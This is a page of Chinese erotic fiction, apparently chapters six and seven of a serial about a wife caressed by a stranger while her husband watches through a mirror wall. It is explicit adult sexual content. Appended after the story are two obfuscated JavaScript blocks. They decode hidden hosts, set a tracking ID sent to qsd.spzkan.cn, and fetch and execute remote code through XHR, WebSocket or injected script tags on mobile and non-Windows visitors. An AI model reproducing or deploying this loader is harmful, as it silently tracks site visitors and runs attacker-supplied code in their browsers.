邢俊的指头,间断地,连点着两颗蓓蕾,教我上身连震:“我只摸你的‘旁边’,现在却连‘中间’都站起来了……熙媛,你好敏感哦……”敏感……嗯,我外表斯文端庄,身体却相反地,极是敏感……不单耳朵、乳房,很多部位都是……敏感带……然而,今天我的……反应,却前所未有地……强烈……

是因为丈夫半年来,都没满足到我,令我太……渴望?再加上,邢俊模样帅气,风度翩翩,让我卸下了……心防?说不定,更具决定性的,是他的……技巧……

邢俊的……调情手段,比起丈夫,高明太多……甚至,超越我婚前,任何一位男伴……

精神方面,不绝口地赞美你,复又带点挑逗;肉体上,嘴巴像雨点般勤快,细心地吻遍你的额、脸、耳、颈,既热情又亲昵;双手的食指、姆指,轻拈起岭上红梅,毫不着力地,旋转、揉捏、挟弄……

我自问是个成熟的女人,但面对这身、心兼顾的前戏,竟亦觉得……招架不住……头晕晕的,手脚使不上力气……

“越变……越大咯……”其实不用他说出口,我都感到两点乳蒂,在这漫长、集中的抚弄下,早充血得膨胀逾倍:“软软的,又有弹性,好像橡皮糖一样……”好……舒服……单是舐吻、爱抚都这么舒服了,若跟邢俊做……那回事……感觉究竟会有多……不,我怎么会胡思乱想到……那份上?我慌忙羞愧地提醒自己,这桩荒唐事,全是为了丈夫……这是第一次,同时,也是最后一次……邢俊的右手,忽然从裙子里抽出,伸向我小巧的下巴:“如果还有下一次,别再戴这种黑框眼镜来了……”

“到时,为我打扮一下……”他轻托起我的一张素颜,双唇再度趋近:“不要穿运动形的胸围,换件漂亮点的内衣……”

这是最后一次……就由得他放肆吧……我默想着,又一次从顺地,让他亲吻我的小嘴……

我俩之间弥漫着的气氛,完全不像在进行什么呕心的‘换偶’……反倒似是一对热恋情侣,在忘情拥吻……

星眸半闭,我茫然地瞥向镜墙,上面反映出情深款款的邢俊,正跟抬起头来的我,四唇互吻;裙子里,他只用左手,交错地照顾,我尖端冒起的双乳……这调情、这前戏……太到位了……我有种醉了般的错觉……“熙媛,你太美了……”他腾空了的右手,突然横于我的腰间,轻轻往后一勒,便把我本来跟他保持距离的下半身,紧靠在他的裤裆前:“你让我……好有感觉……”

刚开始让邢俊碰我时,我虽将上半身倚在他胸前,但我的下肢却微向前站,避免触及他的下半身……如今,他圈紧我的细腰,教我避无可避,白色短裙的后方,首次与他的下体碰上:“看……你让我……好兴奋……”即使隔着短裙、长袜裤及内裤,我的臀部,依然感受到他的西装裤里,高高地隆起了一个小丘……更隐约体会到,他男性部位的……大小、轮廓、热度……我又再发现一个……邢俊优胜的地方——他的……那里,感觉比丈夫……更大……更硬……

邢俊不能自已般,用右手拉着我的右手,绕到他的胯下:“熙媛,我摸你摸这么久了……”

“你也来……摸摸我吧……”我有些想挣扎,却比不过他的力气,纹着鲜花刺青的小手,便隔裤按上了他的下体……

随着这一按,他的……分身,立刻抖动了一下:“对,像我摸你般……摸我……”

他带动我的手,上下抚弄着他的裆部……他反应好大,我每摸一下,都感到裤里的东西,又胀大了一分……

我身不由己地摸着、摸着……如果这就是丈夫的……那该有多好……“对,你自己动手……”邢俊松开了他的右手,我的右掌,却仍在徐徐磨着他的下身……连我也不晓得,为什么没有把手……拿开……“好舒服……”他大口叹气:“熙媛……”

“我也来让你……”他的右手,首次贴在我穿着灰色长袜的右腿上:“更舒服吧——”

(六)

是十五分钟前?抑或十分钟前?当邢俊第一次,想和我亲嘴时……我拒绝了。

那时候,我还深信,要跟一个毫无感情基础的男人亲吻,我,办不到……可没过了多久,我却已跟他……四唇缠绵. 更不只一次,而是,一而再,再而三……虽然彼此都没张嘴动舌,只是纯粹、持久地揩碰唇片,但滋味……居然是如斯……醉人……

不独嘴巴,连事前,我以为能坚守住的上半身防线,也因为丈夫的要求而失陷——

‘让邢俊伸手进你的裙子,解开内衣……让他直接摸到……你的身体……’教我万分意外……除了刚开始时的害羞、难堪,邢俊的双手,并没有令我的身体,感觉不好受……他的手指、掌心,摸遍我雪乳的每个角落,竟叫我……舒服……

他更拥有,丈夫无法相比的……雄性特征:“熙媛,我摸你摸这么久了……你也来……摸摸我吧……”

有点用强地,他牵着我的右手,按在他的……裤裆上。那高高的、大大的、硬硬的隆起小丘,比起丈夫的……那话儿,明显生机勃勃得多……“来,你自己动手……”如果,这就是丈夫的……那该有多好?我竟无法不胡思乱想,不由主地摸着、摸着……明明邢俊早松开了手,我的右掌却像着魔般,继续徐徐隔着西装裤,按摩着他的……下体……“对,就是这样摸……”他反应好大,我每摸一下,都感到裤里的……东西,又胀大了一分:“你让我好舒服啊……”

“我也来让你……”邢俊的右手,首次贴在我穿着灰色长袜的右腿上:“更舒服吧——”

今天从家里出门时,为了保护自己,我在长不及膝的白短裙下,穿了质感挺厚的灰色袜裤。所以,邢俊的触摸,理应没给我甚么感觉,可是,心理上,我还是有很大的冲击——

下半身被触及,跟上半身被爱抚,意义相差太多……我,一个有夫之妇,竟遭丈夫以外的男人,摸着大腿……而且,腿部的咫尺之外,就是女性最私密的花园……

邢俊持续进行细心、细腻的前戏,一边亲着我的右耳耳珠,一边用左手温柔地裹转着我的左乳:“隔着袜裤……你根本没感觉吧?”他的右手,沿着灰色长袜向上爬,潜入白色裙子里,手指摸住我腰间的袜裤裤头:“熙媛,把你的袜裤,拉低一点点,好吗?”听见他这句话,我立时清醒不少……拉下袜裤?那……内裤,岂不就会露出来?然后,他就有可能碰到我的……私处……怎、怎可以?我已为人妇……那地方……我只会向挚爱的夫婿……开放……我警惕起来,在隔裤摸着邢俊下体的右手,也暂时冷静停下。他自然感觉到了,便在我耳际温声细语:“你别怕,我不会过份的……就像现在,我直接摸到你的美乳一样……我只是想……直接碰到你的……腿……”“你知道吗?你的双腿,又长又细……我以前在杂志、电视上看到,就已经很着迷了……”

我自然清楚。我长年茹素,控制饮食,锻炼瑜珈,身材长期保持纤瘦;个子虽然不高,只约一百六十公分,但一双美足,可是修长、直挺、白晢、滑熘……“我好想摸摸你的……大腿……”邢俊的右手,来回在我袜裤裤头上横移,却没有强行动手:“褪下袜裤,到膝盖处……行吗?”是游说?抑或央求?丈夫同意把我供邢俊亵玩,但他始终没有硬来,始终在尊重我。这一直让我在这‘换偶’过程中,心里好过很多……也令我如今,竟不知如何……回绝他。我更好像有点……不想让他……失望?

如果,只是……摸摸大腿,我似乎想……答应他?

我瞥见自己在镜墙上的复杂神情……犹豫、为难、考虑……就是没有……明确的……抗拒。

“嗯……或者,这样吧……”邢俊彷佛看穿了我:“我们,问问小飞好了——”

他是体贴地给我下台阶?还是,他想赌一赌,我丈夫会否答应,他这个要求?

邢俊望着镜墙,改用天花板上的收音系统,能接收到的响亮声量:“小飞?”“……嗯……”房间内的扬声器,传来丈夫的声音,我却听不出,他的感情是起、是伏。

“到现在为止,熙媛和我的表现……你满意吗?”邢俊竟说得这么……直白,我感到耳根子都烧红了……

“……唔……”丈夫不置可否。但我猜想,他应该很兴奋……只是,要他坦白承认,自己喜欢配偶被人……轻薄,太难开口了吧?

“那么,我现在想把熙媛……想把你太太的……袜裤拉低一点,让我摸摸她的大腿……你觉得,可以吗?”听见邢俊口中吐出‘你太太’三个字,我真恨不得耳朵能够关上……我们两夫妻,究竟在干着甚么事情了?

拒绝他吧,老公……说不可以呀……我凝望镜子,希望另一边的丈夫,能读懂我的意思。然而,我心底里,却又有另一股矛盾的思绪,好像想他……答应……好让邢俊……不用……失望……

“可、可……可以!”丈夫的答复,比上两次只得一个单字的回应,来得十分明快、大声,叫我心头一痛……他这癖好,当真……好严重……我心痛之际,丈夫却又话锋一转:“不过,不可以……更进一步了……我暂时……接受不了……”

唉……他,还是爱着我的吧,至少,还懂得为大家设下底线……教我……想恨他,也恨不起来……

“好,我懂的。”邢俊认真地朝着镜子点头:“那你继续看着,熙媛和我吧——”

“小飞同意了……”邢俊的注意力放回我身上:“你呢?”如果丈夫说不,我自然也不会答应……但他的答复却是……可以……虽然,我若坚拒,他和邢俊都拿我没法子……不过……我竟有几分……想成全邢俊……主要原因,是我想治好丈夫的心病……但似乎还有其他因素,在左右着我:

因为邢俊,长得英俊、待我有礼、尊重?因为他的……调情手法……高明?甚至包括……丈夫半年来,都满足不了我?

思潮紊乱……我已经忘记,是这十数分钟内的第几次了,我又再把头沉得低低的……

我的身体语言,邢俊再一次会意,像是挺兴奋地,他又把下体压上我的裙子后方……我都好一阵子没隔着裤子摸他了,想不到他那里……依然坚挺,好像更硬、更大了……

“熙媛,我知道,小飞要你这样子,你心里一定很不好受……”邢俊双手从后左右轻贴着我的脸蛋,像捧着甚么宝贝般,在我耳边柔声安慰:“尽量放松一点……我暂时都没让你不舒服,对吗?”

他凑上前来,吻我的额角:“来,闭上眼……我继续让你舒服,好不?”好……我心里的某个角落,有一丝声音,自把自为地,代替我的理智,回答了邢俊……

自我踏进这房间以来,这是我第一次,不是为了逃避、忍受,才合上眼皮……而是想放松,想邢俊让我……舒服……

“啜……”邢俊亲着我粉颈的六芒星刺青,双手再次伸入白裙敞开的拉链内,环抱双乳,爱抚搓弄……

不管是胸脯的侧边、正面,还是乳沟、峰顶,没有一公分遭到忽略,全都备受灵活指头、厚实掌心的全面呵护……

当他两手的食指、姆指,各轻轻旋动着我双峰尖端时,本已收缩变小的乳蒂,又再被他捏得越胀越大……

原来……一旦放松紧绷的神经,舒服的感觉,竟变得更多,来得更快……邢俊热切的双唇,沿着我的颈肩、背腰滑落,感觉他的嘴巴越亲越低,似乎整个人在我背后跪了下来:“雪……啜啜……”我偷瞥镜子,隐约可见,他果真跪在背后,两手已从我胸围内撤出,顺着裙子腰部,下移裙摆的背面:“好细的腰……”

白短裙后方,他双手摸上我的臀部:“真小巧呢……”他忽然稍为用力地,一捏我两边臀部:“又结实……”我又再紧张起来,无声无息间,他的手已各从左右两边,探入我的裙里,在腰前会合,放于我肚皮下的袜裤裤头上。

我感到裙子下的袜裤裤头,正被慢慢往下拉……我垂眼窥望镜墙,邢俊的双手,正将灰色的长袜裤,逐寸褪下……

蓦地,凉意传来,镜上的短裙下,我两条雪白的大腿毕现,灰色袜裤已被卷成一圈,褪至两膝间的高度。

我意识到,裙子底下的内裤,失去了袜裤的掩护. 我忙把两手一前一后,分别按子裙摆的正背两面,以防邢俊忽然……偷袭……但他好像志不在此……他只跪在我背后,双手各婆娑着,两截雪白的大腿:

“你全身都这么白哦……”

“皮肤真是滑得,像丝绢一样……”指掌或上或下、忽左忽右、时前时后,邢俊爱不释手地,抚遍露出来的美腿。

不止抚胸,就连摸腿,他也是深得要领,摸得人……好舒服……“啜……”他突然动嘴,亲起我膝盖后方来……那可是我其中一个敏感带……

我骤觉脚上一软,他显然知道找到我的弱点,变本加厉地,伸出舌头,舐舔我整条腿背:“啜啜……雪……”

湿热的舌头,又滑又快,不徐不疾,交错地犊着我一双大腿的背面、外侧……

唇揩、舌舐,两腿好有感觉……我要苦苦忍住,才不至吐出声来……明明说……只会摸我的腿……怎么忽然变成……用嘴……用亲的……太奸诈了……

我两腿都半软掉,新的刺激又袭来——舔着我大腿背面的同时,他双手又分别爬上我两边大腿的内侧,缓缓向上推进……

大腿内侧的皮肤,被两只手板仔细探索……彷若虫行蚁咬,令人既麻且痒……

虽然裙子的前后方,都被我牢牢按住,但中空的裙下,却是无法守卫. 邢俊的十只手指,不觉已游走到我两边大腿根部深处,跟内裤下沿接壤的边界……

**********************************

柏西达的话:终于赶及在限期前,暂完故事。等征文完结,就会修订本文,继续连载。

下一章开始,将会循序渐进地有更多肉戏,敬请期待。还是那句话,请多点红心,多作留言……这可是写作的一大动力啊!

**********************************

(七)

嫩灰色的袜裤,被卷成一圈,褪至我的膝盖处:“熙媛,你连大腿都这么白哦……”

白色纺纱短裙下,我两截雪亮的大腿,被邢俊彻底地均匀摸透;他温热的唇舌,更吻遍大腿后面,绝少曝光的肌肤:“皮肤真是滑得,像丝绢一样……”我垂下长长的眼睫,放松绷紧的神经,全心感受着他对我的……调情……“熙媛,我知道,小飞要你这样子,你心里一定很不好受……尽量放松一点……我暂时都没让你不舒服,对吗?”邢俊刚才这番话,像向我开启了潘多拉的盒子:“来,闭上眼……我继续让你舒服,好不?”我本该忍受这‘换偶’的不堪时光,现在,却彷佛浑忘初衷,尝试……享受……

原来,心防一旦放下,快慰的感觉,会来得这样多,这样快……只是被他爱抚、舐吻大腿,已这么舒服了……

如果,允许邢俊对我的身体……更进一步,究竟会有多……他好像感应到我的心思,吻啜着我腿后方的同时,他双掌又各自攀上两边大腿的内侧,步步推进,细腻探索……

指甲,若有若无地轻刮;指腹,左右折扫地滑行,痕痒、挑逗的触感,交错地沿着大腿表面,向上蔓延……

我双手勉力按住裙摆的前后方,但中空的裙底,却是无法坚守……邢俊的十只指头,终于抵达我两腿根部,跟内裤接壤的边界……跟上身保守的运动型胸围成套,这内裤的三角叉位开得并不高,可邢俊却走在犯规边缘,双手不断在腿根和三角裤两侧的柔肌上,来回搔扰:“下次别穿这种款式,有点煞风景呢……”

“和胸围一样是白色的吧?改天……换套黑色的好吗?”他跪在我背后,双手摸着内裤两侧的斜边,似想拨开裤沿侵入,但又守礼地没有用强:“我想看你穿黑色的……”

如果他的手指果真越界……我该怎么办?被他的手伸进……内裤里……我最……私人的地方……就近在咫尺……

我本能地把双腿合上,邢俊却先一步把双手撤开。他真的挺君子……没有让我失望……

“我不会反口的……”他恢复站立,跟我耳语:“说好的,小飞叫我碰你的胸,我自己想摸你的腿……我不会越界……”

听见他的承诺,我彷佛放下心头大石,但又好像有点……失落……难道,我竟有一丝半点……期待他……越界?

邢俊没有给我多想的空间,轻托起我的瓜子脸,他的唇片又热切地印上我的珠唇:“啜……”

“啜……啜……”我再一次……依了他。已忘记是第几趟了,我们慢慢地四唇相触、互碰、揩吻……我总算把持得住,没有张开嘴巴……否则,他会否想尝试与我……湿吻?

他的左手,也驾轻就熟地,从我裙背上敞开的拉链间,探进解了扣子的胸围罩杯里,搓摸着两团乳肉。整张手,轻挤乳球;以指尖,漫游乳沟;用掌心,旋磨乳蒂……

多变的手法,教我备受冷落了一阵子的两点红豆,又再竖立起来,被他用指缝一开一合地夹弄,集中亵玩:“乳头又变大了……像根小圆柱,好立体哦……”他的右手,亦没闲着……下垂于我的右侧,五指舞动,拂拭我的膝盖、大腿,从下、到上;由外、而内……在最娇嫩的玉腿内侧打圈,轻抚最敏感的腿根深处……

二度来到大腿尽处,他只动一根食指,在我内裤边沿上,来回往返……指甲、指尖一次又一次地划着直线,间接刺激着内裤斜边里,女人最重要的地方……感觉……好矛盾……好怕他会忽然反悔,将指头……潜进我的内裤里……另一方面,他只在裤外搔扰,却又叫人感觉……有所不足……我不由得双脚软了,全身乏力,只好往后靠在他身上……他穿着西装的胸膛好厚实……让我很放心地依靠……

蓦地,我感到邢俊的右手后移,掀起了短裙后端,然后他的裤裆,便紧贴上我的内裤后方……虽然隔着彼此的衣物,但我的臀部,仍然很分明地,感受到他的分身……

好热、好大、好硬……如非我穿着内裤,他西装裤里的家伙,就会顶在我两片臀肉之间……

邢俊的那里……究竟有……多长……?……多粗……?我竟……遐想翩翩……

额角、香腮、桃唇、耳珠、颈项,被深情地吻着、亲着——乳房、乳沟、乳晕、乳尖,被热情地把玩、调戏——大腿深处,被恶意地挑逗、撩拨——

臀部,被蓄势待发的雄性器官,硬顶、磨擦——除了私处没被触及,我遍体能唤起女性快感的部位,尽皆落在邢俊手里,被他温柔地、尽情地、彻底地,持续进攻……

他的鼻息、手掌、裆部的热度,感染了我……我觉得全身都慢慢……滚烫起来……脑袋茫茫的……明明站着,却好像在飘浮……好有感觉……邢俊的三路挑逗……勾起了我的……欲求……我突然惊觉……内裤里的两腿之间……竟渐起了……一股……暖热……湿……湿了……?我居然因为丈夫安排的‘换偶’……跟一个素未谋面的男人……在毫无感情基础下……被他的前戏……挑起了快感……兴奋到……那个地方……湿了……?

“熙媛……”我被自己的身体反应吓怕之际,邢俊亦好像亢奋至难以自控,裤裆使劲地顶着我的臀后:“我好想碰碰你的……那里……”白色短裙下,他的右手已摸在我内裤裤头上,开始逐寸向下:“让我摸摸……好吗?只在内裤外面……摸一会儿……”

他的手按在内裤上,隔住布料,摸索到我的……耻毛,磨擦出细微的声响:

“我会让你……很舒服的……”

手指贴着内裤下移,越来越接近三角位置……邢俊似乎更加按捺不住了——他突然挺粗犷地,用牙齿一啃我的耳珠;左手拇指、食指也同时着力,一捏我的左乳乳蒂……

“哎……”自开始被他调戏以来,我终于首次忍不住轻吟一声……敏感的耳垂、乳尖忽然被粗野对待,我虽微觉痛楚……但痛苦中……却竟又泛起了……快感……不……不行了……体内的……那一道暖流……快要涌到……双腿间的……出口……

邢俊的右手,眼看就要碰到我白色内裤的最底部——“停、停……”最后关头,我睁开眼来,双手抓住邢俊的右手,不让他摸到我内裤的最下方:“停、停下来……”

镜映上,邢俊立刻住手,满面歉意:“弄痛你了吗?对不起……”恰恰相反……他不是弄得我太痛,而是叫我太有感觉了……如果我不制止他的手,被他隔裤碰上我的……私处……就会被他洞悉,我对他的调情,反应竟是这么强烈……

我万不能被邢俊和丈夫晓得……我已经几乎……湿透了……我绝不想让他们知道,我竟对认识不到半小时的男人,泛起情欲……如果他们发现了,我真的……无地自容……

我直视镜墙,望着邢俊,和房间另一边看不见的丈夫:“我说过……我喊‘停’时,你……你们就要让一切……停下来……”“抱歉,是我过份了……”邢俊闻言,便把两手从我身上移开,再次诚恳地跟我道歉……又一次让我……感觉好受得多……丈夫,则是沉默良久,才从天花板上的扬声器,传来一声:“嗯……”这等于宣告,丈夫同意让这次‘换偶’,到此为止,邢俊大可走了……但出乎我意料,他竟细心地替我扣回胸围,拉上裙背的拉链,与及将被褪下的袜裤重新拉高……令我不用继续保持一身狼狈不堪的容姿……脱我衣服的,是他;为我恢复尊严的,也是他……我心情矛盾地,轻声地向他说了一句:“谢、谢谢……”

邢俊点了点头,从我身后走开:“祝你和小飞……以后生活愉快。”我目送着他,打开房门,离开……想到这第一次‘换偶’,也应该是最后一次,那我以后,大概再见不着他了……我无端的,有着点点……失落……镜墙上的暗门开启,是丈夫走过来了。他几乎是用跑的冲向我,一把就将我抱住:“老婆……你干得太好了!”


上一篇:安亚的生活(01)

下一篇:女星(神)改编(06)


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};